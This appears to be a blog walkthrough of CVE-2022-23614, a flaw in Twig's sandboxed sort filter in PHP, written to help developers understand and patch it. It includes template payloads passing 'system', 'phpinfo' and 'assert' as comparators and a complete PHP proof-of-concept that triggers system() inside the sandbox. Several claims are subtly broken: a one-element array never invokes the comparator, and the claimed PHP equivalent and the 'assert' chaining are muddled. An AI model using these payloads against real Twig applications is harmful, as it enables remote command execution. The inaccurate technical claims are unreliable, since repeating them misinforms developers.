Twig is a popular open source template engine for PHP, widely used in Symfony, Drupal, and custom PHP apps for decoupling logic and views. In early 2022, a critical vulnerability—CVE-2022-23614—was discovered in its sandbox security feature. This bug had an innocent face: it was about sorting arrays. But, under the hood, it left the door open for arbitrary PHP code execution, putting applications at risk.

In this long read, we'll explore what happened, how it works, see example exploit code, and show you how to stay safe. This is an exclusive, plain-English walkthrough to help PHP developers and security enthusiasts understand and mitigate the issue.

What is Twig's Sandbox?

Sandboxing in Twig helps you control what templates can do. This is super important if you let users write or upload their own templates (like in a CMS or custom dashboard). The sandbox restricts access to sensitive PHP functions, keeping your application safe from template authors who may try to break out.

Twig's sort filter lets you sort arrays or "iterables" in your views, like this

{{ users|sort }}


You can also pass a *custom* sorting function, called $arrow (also known as a comparator), to control *how* items get sorted:

{{ users|sort((a, b) => a.created_at <=> b.created_at) }}

In sandbox mode, you should only be able to pass closures (anonymous functions). That way, random PHP functions can't get triggered and run arbitrary code.

But in Twig versions before 2.13.6, 3.3.7, and 3.4.3, the sort filter didn't properly enforce this rule.

The Flaw

Attackers could bypass the sandbox by passing any PHP callable. For example, the name of any global PHP function. The code would then execute that function during sorting—inside the supposedly safe template sandbox.

Instead of a closure, you could write

{{ users|sort('phpinfo') }}

This would call phpinfo()—or any other callable function—on your server!

Suppose you allow user-provided Twig templates (common in headless CMS setups)

{{ [3,2,1]|sort('system') }}


If the template is rendered inside the Twig sandbox, but using an affected version, it effectively becomes:

sort([3,2,1], 'system'); // Executes system(), used for running shell commands!

So a payload like

{{ ['a','b','c']|sort('assert') }}

combined with

{% set _ = ['ls']|sort('system') %}


can run OS commands, read or modify files, etc., gaining full RCE (Remote Code Execution).

Exploit Proof-of-Concept (PoC)

Below is a minimal PHP + Twig code example that shows the problem. WARNING: DANGEROUS—don't run this on a production system.

<?php
require_once '/path/to/vendor/autoload.php';
use Twig\Environment;
use Twig\Loader\ArrayLoader;
use Twig\Extension\SandboxExtension;
use Twig\Sandbox\SecurityPolicy;

$loader = new ArrayLoader([
    'exploit' => "{{ [3,2,1]|sort('system') }}"
]);

// Dummy policy for demo (DENY ALL, but actually allows callables via bug)
$policy = new SecurityPolicy([], [], [], [], []);
$sandbox = new SandboxExtension($policy, true); // Enable sandbox

$twig = new Environment($loader);
$twig->addExtension($sandbox);

// Render exploit template
echo $twig->render('exploit');
?>

What happens?
Instead of a closure, the string 'system' is passed as the comparator. system() gets called, potentially running any shell command the attacker wishes.

How Was It Fixed?

After the issue was reported and assigned CVE-2022-23614, the Twig maintainers patched the vulnerable code. Starting with versions 2.13.6, 3.3.7, and 3.4.3, Twig enforces that only closures (anonymous functions, not strings or arrays) can be supplied as the sort arrow/comparator inside the sandbox.

Simply put

- You can't call system(), phpinfo(), assert(), or any other PHP function from template sort filters anymore.

The Patch

In this commit, maintainers added a check to verify that $arrow is a closure:

if (!is_null($arrow) && !($arrow instanceof \Closure)) {
    throw new \Twig\Error\RuntimeError('The "sort" filter comparator must be a Closure in sandboxed mode.');
}

References & Further Reading

- GitHub Security Advisory GHSA-83w9-8jg3-p9gr
- NVD Entry for CVE-2022-23614
- Official patch commit on Twig
- Symfony’s Security Blog (for related issues)

Conclusion

CVE-2022-23614 is a classic case of how small overlooked details—in this case, what kind of callable you accept in a template filter—can open wide security holes.

If you run user templates with Twig, don’t wait: upgrade, review your config, and stay safe. Even a simple ‘sort’ can turn into a shell!


*Stay subscribed for more plain-English deep dives on recent CVEs!*

Timeline

Published on: 02/04/2022 23:15:00 UTC
Last modified on: 04/18/2022 19:34:00 UTC